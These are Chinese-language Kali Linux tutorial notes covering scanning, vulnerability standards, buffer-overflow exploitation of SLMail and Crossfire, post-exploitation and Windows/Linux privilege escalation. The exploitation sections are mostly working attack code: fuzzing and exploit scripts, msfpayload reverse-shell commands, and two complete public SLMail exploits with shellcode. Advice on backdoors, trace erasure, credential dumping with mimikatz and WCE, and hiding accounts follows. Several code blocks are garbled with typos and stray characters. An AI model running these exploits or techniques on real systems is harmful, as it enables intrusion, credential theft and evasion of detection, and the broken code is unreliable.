    • 主机发现
      • sn: 不做端口扫描
      • Pn: 不管是否回复,扫描所有要扫的ip,再判断
      • PS/PA/PU/PY
      • PE/PP//PM
      • PO
      • -n/-R:不做DNS解析/做解析
      • –dns-servers
      • –traceroute
        • 扫描技术
      • sS/sT/sWW
      • sU (UDP扫描)
      • scanflags
      • sI:僵尸扫描
        • 服务扫描(探测端口服务)
      • sV
      • version–intensity
      • version-all
        • 脚本扫描
        • –script-updatedb
        • –script-help
        • 操作系统检测
        • osscan-limit 限制操作系统检测
        • 时间和性能相关
        • 使得扫描经过一段时间进行重新扫描,不被发现
        • –scan-delay [time]
        • 防火墙/IDS 欺骗,躲避
        • D:伪造源地址,增加噪声IP
        • S:欺骗源地址
  • zenmap(图形化nmap)

Kali Linux 从入门到精通(九)-弱点扫描

发现弱点

  • 发现漏洞
    • 基于端口服务扫描结果版本信息(速度慢)
    • 搜索已公开的漏洞数据库(数量大)
    • 使用弱点扫描器实现漏洞管理
      从信息的维度定义漏洞管理
  • 信息收集
    • 扫描发现网络IP,OS,服务,配置,楼栋号
    • 能力需求:定义扫描方式内容和目标
  • 信息管理
    • 格式化信息,并进行筛选,分组,定义优先级
    • 能力需求:资产分组,指定所有者,向所有者报告漏洞
  • 信息输出
    • 向不同层级的人群展示足够的信息量
    • 能力需求:生成报告,导出数据,与SIEM集成
      弱点扫描类型
  • 主动扫描
    • 有身份验证
    • 无身份验证
      • 被动扫描
      • 镜像端口抓包
      • 其他来源输入
      • 基于Agent的扫描
      • 支持平台有限
        漏洞的基本概念
  • CVSS(Common Vulenrability Scoring System)
    • 通用漏洞评分系统
    • 描述安全漏洞严重程度的统一评分方案
    • V 3 版本—2015年6月10日
    • Basic Metric:基础的恒定不变的弱点权重
    • Temporal Metric:依赖时间因素的弱点的权重
      • Environment Metric:利用弱点的环境要求和实施难度的权重
        3cmKjx.png
  • CVSS
    • CVSS是安全内容自动化协议(SCAP)的一部分
    • 通常CVSS和CVE一同由美国国家漏洞库(NVD)发布并保持数据的更新
    • 分值范围: 0-10
    • 不同机构按CVSS分值的的定义威胁的中,高,低威胁级别
    • CVSS体现弱点的风险,威胁级别(serverity)表示弱点风险对企业的影响程度
    • CVSS分值是工业标准,但威胁级别不是
      3cmlDK.png
  • Vulerabilty Reference
  • CVE(Common Vulenrable and Exposures)
    • 已公开的信息安全漏洞字典,统一的漏洞编号标准
    • MITRE公司负责维护(非盈利机构)
    • 扫描器的大部分扫描项都对应一个CVE编号
    • 实现不同厂商之间信息交换的统一标准
      3cmQu6.png
      • CVE发布流程
    • 发现漏洞
    • CAN负责制定CVE ID
    • 发布到CVE List —– CVE-2008-4250
    • MITRE 负责对内容进行编辑维护
  • 很多厂商维护自己的Vulnerability Refernce
    • MS
    • MSKB
  • 其他Vulnerability Reference
    • CERT TA08-297A
    • BID 31874
    • IAVM 2008-A-0081
    • OVAL OVAL6093
  • OVAL(Open Vulenrabilty and Assessment Language)
    • 描述漏洞检测方法的机器可识别语言
    • 详细的描述漏洞检测的技术细节,可导入自动化检测工具中实施
    • OVAL使用XML语言描述,包含了严密的语言逻辑
  • CCE
    • 描述软件配置缺陷的一种标注化格式
    • 在信息安全风险评估中,配置缺陷的检测是一项重要内容,使用CCE可以让配置缺陷以标准的方式展现出来,便于配置缺陷评估的可量化操作
  • CPE(Common Product Enumernation)
    • 信息技术产品,系统,软件包的结构化命名规范,分类命名
  • CWE(Common Weakness Enumeration)
    • 常见漏洞类型的字典,描述不同类型漏洞的特征(访问控制,信息泄露,拒绝服务)
  • Security Content Automation Protocal(SCAP)
    • SCAP 是一个集合了多种安全标准框架
    • 6个元素:CVE,OVAL,CCE,CPE,CVSS,XCCDF
    • 目的是以标准的方法展示和操作安全数据
    • 由NIST负责维护
  • SCAP主要解决三个问题
    • 实现高层政策法规等到底层实施的落地(如FISMA,ISO2700系列)
    • 将信息安全所设计的各个要素标准化(如统一漏洞命以及严重性度量)
    • 将复杂的系统配置核查工作自动化
  • SCAP是当前美国比较成熟的一套信息安全评估标准体系,其标准化,自动化的思想对信息安全行业产生了深远的影响
  • NVD(National Vulnerabilty Database)
    • 美国政府的漏洞管理标准数据
    • 完全基于SCAP框架
    • 实现自动化漏洞管理
    • 包含一下库
      • 安全检查列表
      • 软件安全漏洞
      • 配置错误
      • 产品名称
      • 影响度量
        漏洞管理
        • 周期性扫描跟踪漏洞
        • 高危漏洞优先处理
        • 扫描注意事项
        • 漏洞管理三要素
        • 准确性sssss9
        • 时间
        • 资源
          NMAP
  • nmap 扫描脚本
    • 400+
    • 分类
  • cat /usr/share/nmap/scripts/script.db
  • grep vuln /usr/share/nmap/scripts/script.db | cut -d “" -f 2
  • cat /usr/share/nmap/scripts/smb-check-vulns.nse
  • smb-check-vulns.nse
    • nmap -sU –script=smb-check-vulns.nse –script-args=unsafe=1 -p U:137,139,445 1.1.1.1
    • MS08-067
  • smb-vuln-ms 10-061.nse
    • Stuxnet蠕虫利用的4个漏洞之一
    • Print Spooler权限不当 打印请求可在系统目录可创建文件,执行任意代码
    • LANMAN API 枚举共享打印机
    • 远程共享打印机名称
    • smb-enum-shares枚举共享
      • 身份认证参数-smbuser,smbpassword
      • nmap -p445 –script=smb-enum-shares.nse –script-args=smbuser=admin,smbpassword=pass 1.1.1.1
    • Windows XP,Server 2003 SP2,Vista,Server 2008,win7
  • 影响扫描结果的因素
    弱点扫描器-OPENVAS
    • Openvas
  • Nessus项目分支
  • 管理目标系统的漏洞
  • 免费开源
  • kali默认安装.但未配置和启动
    • 早期Openvas配置
  • 安装
  • 创建证书
  • 同步弱点数据库
  • 重建数据库
  • 备份数据库
  • 启动服务装入插件
  • 创建管理员账号
  • 创建普通用户账号
  • 配置服务侦听端口
  • 安装验证
    3cm1HO.png
    • Openvas组件
  • OpenVAS Manager
    • 控制scanner和其他manager的中心组件
    • 控制中心数据库,保存用户配置及扫描结果
    • 客户端使用基于XML的无状态OMP协议与通信
    • 集中排序筛选,使客户端获得一致展现
  • OpenScanner
    • 具体执行Network Vulnerability Tests(NVTs)
    • NVTs 每天通过Feed更新
    • 受Manager控制
  • OSP Scanner
    • 可以统一管理多个scanner
    • 将一组scanner作为一个对象交给manager
  • Greebone Security Assistant(GSA)
    • 提供Web Service
  • OpenVAS CLI
    • omp命令行工具,可实现批处理控制manager
  • 更新很快
    • 所有找到的资料集合都已不同程度的过时了
      • 现在安装Openvas
  • 初始化安装
    • openvas-setup
  • 检查安装结果
    • openvas-check-setup
  • 查看当前账号
    • openvasmd –list-users
  • 修改账号密码
    • openvasmd –user=admin-new -password=password
  • 升级
    • openvas-feed-update
      • 扫描配置
  • 扫描windows
  • 扫描LInux
  • 扫描网络设备
    • 扫描任务
  • 进度
  • 报告
    • 小结
  • 不是秘笈而是经验
  • vi /usr/bin/openvas-start
    NESSUS

Kali Linux 从入门到精通(十)-漏洞挖掘之缓冲区溢出

程序漏洞从哪里来?

  • 罪恶的根源:变量
  • 数据与代码边界不清(注入攻击)
  • 最简漏洞原理-shell 脚本漏洞(本质:输入数据本身,程序本身没做检查导致)
    缓冲区溢出
  • 当缓冲区边界限制不严格时,由于变量传入畸形数据或程序运行错误,导致缓冲区被”称暴”,从而覆盖了相邻内存区域的数据
  • 成功修改内存数据,可造成进程劫持,执行恶意代码,获取服务控制权等后果’
    如何发现漏洞?
    • 源码审计
    • 逆向工程
    • 模糊测试
      • 向程序堆栈半随机的数据,根据内存变化判断溢出
      • 数据生成器,生成随机,半随机数据
      • 测试工具,识别溢出漏洞(动态调试工具:IDA,OD)
        Windows系统缓冲区溢出
    • FUZZING(模糊测试)
      • 准备环境
        • SLMail 5.5.0 Mail Server
        • immunityDebugger_1_85_setup.exe
        • mona.py
      • POP3 PASS 命令存在缓冲区溢出漏洞
      • 无需身份验证实现远程代码执行
      • windows防护机制
        • DEP:阻止代码从数据页被执行(软硬件实现)
        • ASLR:随机内存地址加载执行程序和DLL,每次重启地址变化
    • POP3
      • NC 110 端口
      • 了解未知协议
        • Wireshark
        • RFC
      • 01.py
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
         #!/bin/python
        import socket
        s=socket(socket.AF_INET,socket.SOCK_STREM)
        try:
        print "\nSending evil buffer..."
        s.connect(('1.1.1.1',110))
        data=s.recv(1024)
        print data

        s.send('USER xxx'+'\r\n')
        data=s.recv(1024)
        print data

        s.send('PASS test\r\n')
        data=s.recv(1024)
        print data

        s.close()
        print "\nDone!"
        except:
        print "Could not connext to POP3!"
  • FUZZING(way 1)

    • 测试PASS 命令收到大量数据时是否发生溢出
    • EIP寄存器存放下一条指令的地址
    • 02.py
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      #!/usr/bin/python
      import socket
      buffer=["A"]
      counter=100
      while len(buffer)<=50:
      buffer.append("A"*counter)
      counter=counter+200
      for string in buffer:
      print "Fuzzing PASS with %s bytes" % len(string)
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      connect=s.connect(('1.1.1.1.1',110))
      s.recv(1024)
      s.send('USER test'+'\r\n')
      s.recv(1024)
      s.send('PASS'+string+'\r\n')
      s.send('QUIT\r\n')
      s.close()
  • FUZZING(way 2)

    • 2700个字符实现EIP溢出

    • 03.py

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      import socket 
      s=soket.socket(socket.AF_INET,socket.SOCK_STREAM)
      buffer='A'*2600(不断改变数字)
      try:
      print "\nSending evil buffer..."
      s.connect(('1.1.1.1',110))
      data=s.recv(1024)
      s.send('PASS'+buffer+'\r\n')
      print '\nDone!'
      except:
      print "Could not connect to POP3!"
    • 找到精确溢出的4个字节

      • 二分法(2700->2600->2650)
      • 唯一字串法
        • kali生成唯一字符串:/sur/share/metasploit/tools/pattern_ create.rb 2700
      • 04.py
      • 05.py
    • 思路: 将EIP修改为shellcode代码的内存地址,将shellcode写入到该地址空间,程序读取EIP寄存器数值,并跳转到shellcode代码段执行

    • 寻找可存放的内存地址空间

    • 06.py

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      #!/usr/bin/python
      import socket
      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
      buffer="A"*2606+"B"*4+C*(3500-2606-4) # 假设EXP寄存器最大可存放3500个字符
      try:
      print "\nSending ing evil buffer..."
      s.connect(('1.1.1.1',110))
      date=s.recv(1024)
      s.send("USER TEST"+'\r\n')
      date=s.recv(1024)
      s.send('PASS'+buffer+'\r\n')\]]]]]]]][[][][][][][][][][ ]]
      print "\nDone!"
      except:
      print "Could not connect to POP3!"
  • FUZZING:

    • 不同类型的程序.协议,漏洞,会将某些字符认为是坏字符,这些字符有固定用途
    • 返回地址,shellcode,buffer中都不能出现坏字符
    • null (0x00) 空字符,用于终止字符串的拷贝操作
    • return (0x0D) 回车操作,表示POP3 PASS 命令输入完成
    • 思路:
      - 发送0x00-0xff 256个字符,查找所有坏字符
    • 07.py
      • 坏字符:0x0A,0x00,0x0D
        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        #!/usr]]bin/python
        import socket
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        badchars=从0x00-0xff
        buffer="A"*2606+"B"*4+badchars
        try:
        print "\nSending ing evil buffer..."
        s.connect(('1.1.1.1',110))
        date=s.recv(1024)
        s.send("USER TEST"+'\r\n')
        date=s.recv(1024)
        s.send('PASS'+buffer+'\r\n')
        print "\nDone!"
        except:
        print "Could not connect to POP3!"
    • FUZZING:
      • 重定向数据流
        • 用ESP的地址替换EIP的值
        • 但是ESP地址变化,硬编码不可行
        • SLMail 线程应用程序,操作系统为每个线程分配一段地址范围,每个线程地址范围不确定
      • 变通思路:
        • 在内存中寻找地址固定的系统模块
        • 在模块中寻找JMP ESP指令的地址跳转,再由该指令间接跳转到ESP,从而执行shellcode
        • mona.py脚本识别内存模块,搜索”return address”是JMP ESP指令的模块
        • 寻找无EDP,ASLR保护的内存地址
        • 内存地址不包含坏字符
          mona find -s “二进制地址(可使用16进制转换工具)” -m xxx.dll
        • 生成shellcode
        • Scratch
        • ./msfpayload -l
          3cmfK0.png
        • ./msfpayload win32_reverse LHOST=192.168.20.8 LPORT=443 -C
          3cm22n.png
        • ./msfpayload win32_reverse LHOST=10.0.2.15 444 R | ./msfencode -b “\x00\x0a\x0d”
        • nc -vlp 443
        • 09.py
          • \x90:nop指令
          • 防止shellcode被清除前几个字节
          • 提权侵入,拿shell
  • shellcode执行结束后以exit方式退出整个结束,将导致邮件服务崩溃

  • Smail是一个基于线程的应用,使用ExitThread方式可避免整个服务崩溃,可实现重复溢出

    FUZZING:远程桌面操控受控机

  • windows:配置信息在注册表

  • RegSnap 工具

  • 提权后远程操控指令:

Linux缓冲区溢出 - - 穿越火线缓冲区溢出

  • 1.环境搭建:
    • Crossfire(穿越火线)
      • 多人在线RPG游戏
      • 1.9.0版本接受入站 scoket连接时存在缓冲区溢出漏洞
    • 调试工具
      • edb
    • 运行平台
      • Kali i486 虚拟机
  • 2.Fuzzing
    • 新版本Linux内核会支持内存保护机制
      • DEP
      • ASLR
      • 堆栈 cookies
      • 堆栈粉碎
    • 本机调试
      • ipatbles -A INPUT -p tcp –destination-port 4444 ! -d 127.0.0.1 -j DROP
      • ipatbles -A INPUT -p tcp –destination-port 13327 ! -d 127.0.0.1 -j DROP
    • 1.01.py
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      #!/usr/bin/python
      import socket
      host="127.0.0.1"
      #\x41 代表A 精确溢出
      crash="\x41"*4379
      # \x11 设备操作指令 \x90 NOP指令
      buffer="\x11(setup sound "+ crash +"\x90\x00#"
      # 建立连接
      s=scoket.socket(socket_AF_INET,socket.SOCK_STREAM)
      print "[*] Sending evil buffer..."
      s.connect((host,13327))
      data=s.recv(1024)
      print data
      s.send(buffer)
      s.close()
      print "[*]Payload Sent!"
  • 2.唯一字符串识别EIP精确位置

    • 02.py
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      #!/usr/bin/python
      import socket
      host="127.0.0.1"
      #\x41 代表A 精确溢出
      crash='A'*4368+'B'*4+'C'*7
      # \x11 设备操作指令 \x90 NOP指令
      buffer="\x11(setup sound "+ crash +"\x90\x00#"
      # 建立连接
      s=scoket.socket(socket_AF_INET,socket.SOCK_STREAM)
      print "[*] Sending evil buffer..."
      s.connect((host,13327))
      data=s.recv(1024)
      print data
      s.send(buffer)
      s.close()
      print "[*]Payload Sent!"
  • 3.思路:shellcode代码置入

    • 第一阶段shellcode
      • ESP 跳转到 EAX
      • 偏移12个字节
    • setup sound shellcode2
    • nasm
      • add eax,12
      • jmp eax
    1. 查找坏字符
      • \x00\x0a\0x0d\x20
  • 5.shellcode

    • ESP跳转地址
    • 跳转该过程: EIP->jmp esp->add eax 12->jmp eax
    • 使用msfpayload 生成shellcode

      选择和修改EXP

  • 网上公开的EXP代码

    • 选择可信赖的EXP源(虚拟环境中验证)
    • Exploit-db
    • SecurityFocus(安全焦点)
    • Searchsploit
  • 有能力修改EXP(Python,Perl,Ruby,C,C++…)

  • 选择和修改EXP

    • 646.C
      • 类unix环境下编译
      • 返回地址与本机环境不符
      • 反弹shell硬编码回连IP地址
      • 缓冲区偏移量与环境不符
      • 目标IP硬编码
        1
        2
        3
        4
        5
        6
        //646.c  SLMAIL REMOTE PASSWD BO 代码
        // 需使用gcc进行编译
        #include <string.h>
        #include <stdio.h>
        #include <winsock2.h>
        #include <windows.h>

// [*] bind 4444
unsigned char shellcode[] =
“\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45”
“\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49”
“\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d”
“\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66”
“\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61”
“\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40”
“\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32”
“\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6”
“\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09”
“\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0”
“\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff”
“\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53”
“\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff”
“\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64”
“\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89”
“\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab”
“\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51”
“\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53”
“\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6”
“\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0”;

1
```

void exploit(int sock) {
FILE test;
int *ptr;
char userbuf[] = “USER madivan\r\n”;
char evil[3001];
char buf[3012];
char receive[1024];
char nopsled[] = “\x90\x90\x90\x90\x90\x90\x90\x90”
“\x90\x90\x90\x90\x90\x90\x90\x90”;
memset(buf, 0x00, 3012);
memset(evil, 0x00, 3001);
memset(evil, 0x43, 3000);
ptr = &evil;
ptr = ptr + 652; // 2608
memcpy(ptr, &nopsled, 16);
ptr = ptr + 4;
memcpy(ptr, &shellcode, 317);
*(long
)&evil[2600] = 0x7CB41010; // JMP ESP XP 7CB41020 FFE4 JMP ESP

// banner
recv(sock, receive, 200, 0);
printf("[+] %s", receive);
// user
printf("[+] Sending Username...\n");
send(sock, userbuf, strlen(userbuf), 0);
recv(sock, receive, 200, 0);
printf("[+] %s", receive);
// passwd
printf("[+] Sending Evil buffer...\n");
sprintf(buf, "PASS %s\r\n", evil);
//test = fopen("test.txt", "w");
//fprintf(test, "%s", buf);
//fclose(test);
send(sock, buf, strlen(buf), 0);
printf("[*] Done! Connect to the host on port 4444...\n\n");

}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
```
int connect_target(char *host, u_short port)
{
int sock = 0;
struct hostent *hp;
WSADATA wsa;
struct sockaddr_in sa;

WSAStartup(MAKEWORD(2,0), &wsa);
memset(&sa, 0, sizeof(sa));

hp = gethostbyname(host);
if (hp == NULL) {
printf("gethostbyname() error!\n"); exit(0);
}
printf("[+] Connecting to %s\n", host);
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr = **((struct in_addr **) hp->h_addr_list);

sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock < 0) {
printf("[-] socket blah?\n");
exit(0);
}
if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
{printf("[-] connect() blah!\n");
exit(0);
}
printf("[+] Connected to %s\n", host);
return sock;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
int main(int argc, char **argv)
{
int sock = 0;
int data, port;
printf("\n[$] SLMail Server POP3 PASSWD Buffer Overflow exploit\n");
printf("[$] by Mad Ivan [ void31337 team ] - http://exploit.void31337.ru\n\n");
if ( argc < 2 ) { printf("usage: slmail-ex.exe <host> \n\n"); exit(0); }
port = 110;
sock = connect_target(argv[1], port);
exploit(sock);
closesocket(sock);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# 638.py POP3 PASS 缓冲区溢出代码
import struct
import socket

print "\n\n###############################################"
print "\nSLmail 5.5 POP3 PASS Buffer Overflow"
print "\nFound & coded by muts [at] offsec.com"
print "\nFor Educational Purposes Only!"
print "\n\n###############################################"

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)


sc = "\xd9\xee\xd9\x74\x24\xf4\x5b\x31\xc9\xb1\x5e\x81\x73\x17\xe0\x66"
sc += "\x1c\xc2\x83\xeb\xfc\xe2\xf4\x1c\x8e\x4a\xc2\xe0\x66\x4f\x97\xb6"
sc += "\x31\x97\xae\xc4\x7e\x97\x87\xdc\xed\x48\xc7\x98\x67\xf6\x49\xaa"
sc += "\x7e\x97\x98\xc0\x67\xf7\x21\xd2\x2f\x97\xf6\x6b\x67\xf2\xf3\x1f"
sc += "\x9a\x2d\x02\x4c\x5e\xfc\xb6\xe7\xa7\xd3\xcf\xe1\xa1\xf7\x30\xdb"
sc += "\x1a\x38\xd6\x95\x87\x97\x98\xc4\x67\xf7\xa4\x6b\x6a\x57\x49\xba"
sc += "\x7a\x1d\x29\x6b\x62\x97\xc3\x08\x8d\x1e\xf3\x20\x39\x42\x9f\xbb"
sc += "\xa4\x14\xc2\xbe\x0c\x2c\x9b\x84\xed\x05\x49\xbb\x6a\x97\x99\xfc"
sc += "\xed\x07\x49\xbb\x6e\x4f\xaa\x6e\x28\x12\x2e\x1f\xb0\x95\x05\x61"
sc += "\x8a\x1c\xc3\xe0\x66\x4b\x94\xb3\xef\xf9\x2a\xc7\x66\x1c\xc2\x70"
sc += "\x67\x1c\xc2\x56\x7f\x04\x25\x44\x7f\x6c\x2b\x05\x2f\x9a\x8b\x44"
sc += "\x7c\x6c\x05\x44\xcb\x32\x2b\x39\x6f\xe9\x6f\x2b\x8b\xe0\xf9\xb7"
sc += "\x35\x2e\x9d\xd3\x54\x1c\x99\x6d\x2d\x3c\x93\x1f\xb1\x95\x1d\x69"
sc += "\xa5\x91\xb7\xf4\x0c\x1b\x9b\xb1\x35\xe3\xf6\x6f\x99\x49\xc6\xb9"
sc += "\xef\x18\x4c\x02\x94\x37\xe5\xb4\x99\x2b\x3d\xb5\x56\x2d\x02\xb0"
sc += "\x36\x4c\x92\xa0\x36\x5c\x92\x1f\x33\x30\x4b\x27\x57\xc7\x91\xb3"
sc += "\x0e\x1e\xc2\xf1\x3a\x95\x22\x8a\x76\x4c\x95\x1f\x33\x38\x91\xb7"
sc += "\x99\x49\xea\xb3\x32\x4b\x3d\xb5\x46\x95\x05\x88\x25\x51\x86\xe0"
sc += "\xef\xff\x45\x1a\x57\xdc\x4f\x9c\x42\xb0\xa8\xf5\x3f\xef\x69\x67"
sc += "\x9c\x9f\x2e\xb4\xa0\x58\xe6\xf0\x22\x7a\x05\xa4\x42\x20\xc3\xe1"
sc += "\xef\x60\xe6\xa8\xef\x60\xe6\xac\xef\x60\xe6\xb0\xeb\x58\xe6\xf0"
sc += "\x32\x4c\x93\xb1\x37\x5d\x93\xa9\x37\x4d\x91\xb1\x99\x69\xc2\x88"
sc += "\x14\xe2\x71\xf6\x99\x49\xc6\x1f\xb6\x95\x24\x1f\x13\x1c\xaa\x4d"
sc += "\xbf\x19\x0c\x1f\x33\x18\x4b\x23\x0c\xe3\x3d\xd6\x99\xcf\x3d\x95"
sc += "\x66\x74\x32\x6a\x62\x43\x3d\xb5\x62\x2d\x19\xb3\x99\xcc\xc2"

#Tested on Win2k SP4 Unpatched
# Change ret address if needed
buffer = '\x41' * 4654 + struct.pack('<L', 0x783d6ddf) + '\x90'*32 + sc
try:
print "\nSending evil buffer..."
s.connect(('192.168.1.167',110))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
data = s.recv(1024)
s.close()
print "\nDone! Try connecting to port 4444 on victim machine."
except:
print "Could not connect to POP3!"

避免有害的EXP

  • 不同的EXP
    • 不同的系统补丁
    • 软件版本
    • 不同的offset,shellcode
  • 扫描探测目标系统版本,搭建适当的测试环境
    • 避免一锤子测试
  • 修改公开的EXP满足不同的环境需要
    • 了解漏洞原理,修改溢出代码
      后漏洞利用阶段(POST EXPLOITATION)
  • 1.漏洞利用后阶段

    • 上传工具

    • 提取

    • 擦除攻击痕迹

    • 安装后门(木马程序)

      • 长期控制
      • Dump密码
      • 内网渗透(拿到更多服务器)
    • 后漏洞利用阶段

      • 最大的挑战-防病毒软件
      • 使用合法的远程控制软件(nc)
    • 2.上传工具之上传文件

      • 持久控制
        • 扩大对目标系统的控制能力
        • Linux系统
          • netcat
          • curl
          • wget
        • windos系统
          • 缺少预装的下载工具
          • 一些问题解决方案:
            • a.非交互式模式shell(具有局限性,需上传木马拿到交互式shell)
              • 类nc 远程控制shell
              • ftp 192.168.1.1
        • 上传文件的方法
          • 使用TFTP传输文件
            • xp,2003默认安装
            • win7,2008需要单独添加
            • 经常被边界防火墙过滤
          • 使用FTP传输文件
            • apt-get install pure-ftpd
            • ftp.sh
          • 使用 VBSCRIPT 传输文件
          • 使用POWERSHELL 传输文件
            • Wget.ps1
          • 使用DEBUG 传输文件
            • Debug
              • 汇编,反汇编
              • 16进制dump工具
              • 64k字节
            • upx压缩文件
            • wine exe2bat.exe nc.exe nx.hex
            • debug<nc.hex
            • copy 1.dll nc.exe

Kali Linux 从入门到精通(十一)–提权

本地提权

  • 已实现本地低权限账号登录
    • 远程溢出
    • 直接获得账号密码
  • 希望获取更高权限
    • 实现对目标进一步控制
  • 系统之间权限隔离
    • 操作系统安全的基础
    • 用户空间
    • 内核空间
  • 系统账号
    • 用户账号登陆时获取权限令牌
    • 服务账号无需用户登陆已在后台启动服务
  • Windows
    • user
    • Administrator
    • System:实质最大权限账号
    • 注:非包含关系,交集
  • Linux
    • User
    • Root:相当于Administrator和System
      Windows 系统提权之—-ADMIN–提取为SYSTEM
  • Windos账号
    • 系统设置管理功能
    • Sysinternal Suit
    • at 19:39 /interactive cmd
    • sc Create syscmd binPath=”cmd /K start” type=own type=”interact”
    • sc start syscmd(系统默认以SYSTEM方式启动服务)
  • 注入进程提权
    • 隐藏痕迹
    • pinjector.exe
      • http://www.tarasco.org/security/Process_injector/
        抓包嗅探
      • Windows
      • Wireshark
      • Omnipeek:Windows抓包工具,界面友好
      • commview
      • Sniffpass (基于抓包密码抓取数据)
      • Linux
      • Tcpdump
      • Wireshark
      • Dsniff (抓取密码)
        键盘登录
      • Keylogger
      • 木马窃取
        本地缓存密码
      • 浏览器缓存的密码
      • IE浏览器
      • Firefox
      • 网络密码
      • 无线密码
      • http://www.nirsoft.net
  • Dump SAM(数据库)
    • Pwdump(从windows的SAM中读取密文)
    • /usr/share/windows-binaried/fgdump/
      • 生成PWDUMP 文件
      • 使用ophcrack(密码破解工具) 进行爆破

        Windows 身份认证过程
        3cmbG9.png
        3cmHPJ.png
        3cmT54.png
        WCE(WINDOWS CREDENTIAL EDITOR)<======工具(win7之前)

  • /usr/share/wce/
  • 需要管理员权限
  • wce-universal.exe -l / -lv
  • wce-universal.exe -d
  • wce-universal.exe -e / -r
  • wce-universal.exe -g
  • wce-universal.exe -w
  • LM/NT bash
  • 从内存读取LM/NLTM hash
  • Digest AAUTHENTICATION Package
  • NLTM Security Package
  • Kerberos Security Package
  • 防止WCE攻击

    其他工具

    • pwdump localhost
    • fgdump
    • mimikatz
      • privilege::debug # 提升权限
      • sekulsa::logonPasswords
        利用漏洞提权
  • MS 11-80 漏洞 ( 单机漏洞提取)
  • MS14-068 漏洞 (获得域的管理员权限 操控多台计算机)
  • CVE-2012-0056 (Linux OS 漏洞)
    • /proc/pid/mem (进程权限控制不严格)
    • kernels>2.6.39
    • http://blog.zx2c4.com/749

      利用配置不当提权

      • 与漏洞提取相比 更常用的方法
      • 企业环境
      • 补丁更新的全部已经安装
      • 输入变量过滤之外更值得研发关注的安全隐患
      • 以system的权限启动
      • NTFS权限允许users修改删除
      • icals
      • icals c:\windows*.exe /save perm /T
      • Find
      • find / -perm 777 -execls -l {} ;
      • 应用系统的配置文件
      • 应用连接数据库的配置文件
      • 后台服务运行账号
        基本信息收集
      • Linux
    • /etc/resolv.conf
    • /etc/passwd
    • /etc/shadow (保存有密码)
    • whoami,who -a
    • ifconfig -a iptables -L -n,netstat -rn
    • uname -a,ps aux
    • dpkg -l | head
      • Windows
    • ipconfig / all, ipconfig/displaydns netstat -bnao,netstat -r
    • net view,netview /domain
    • net user/domain
    • net accounts,net share
    • net localgroup administarators username /add
    • net group “Domain Controlleds” /domain

      WMIC(WINDOWS MANAGEMENT INSTRUMENTATION)<—强大功能

      • wmic nicconfig get ipaddress,nacadess
      • wmic computersystem get username
        收集敏感信息
      • 商业信息
      • 系统信息
      • Linux
      • /etc ; /usr/local/etc
      • /etc/pass ; /etc/shadow
      • .ssh ; .gnupg 公私钥
      • The e-mail and data file
      • 业务数据库 ; 身份认证服务器数据库
      • /tmp
      • Windows
      • SAM 数据库 ; 注册表文件
      • %SYSTEMROOT%\repair\SAM (存放SAM副本)
      • %SYSTEMROOTS%\System32\config\RegBack\SAM (存放SAM副本)
      • 业务数据库 ; 身份认证数据库
      • 临时文件目录
        隐藏痕迹
      • 禁止在登录界面显示新建账号
